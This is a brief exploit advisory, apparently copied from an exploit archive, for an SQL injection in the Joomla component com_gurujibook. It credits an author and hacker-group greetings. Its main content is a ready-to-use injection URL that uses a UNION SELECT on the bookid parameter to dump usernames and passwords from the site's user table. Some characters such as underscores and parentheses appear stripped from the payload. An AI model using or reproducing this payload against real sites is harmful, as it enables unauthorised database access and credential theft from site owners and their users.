Joomla Gurujibook SQL Injection

/ Name : Joomla Component comgurujibook Vuln : SQL Injection vulnerability Author : Hamza 'MizoZ' N. Email : mizozxatgmaildotcom Greetz : Zuka , Grey Hat Hackers / SQLI HOST/PATH/index.php?option=comgurujibook&task=showPDF&bookid=-32+union+select+1,2,concatws0x3a,username,password,4+from+josusers...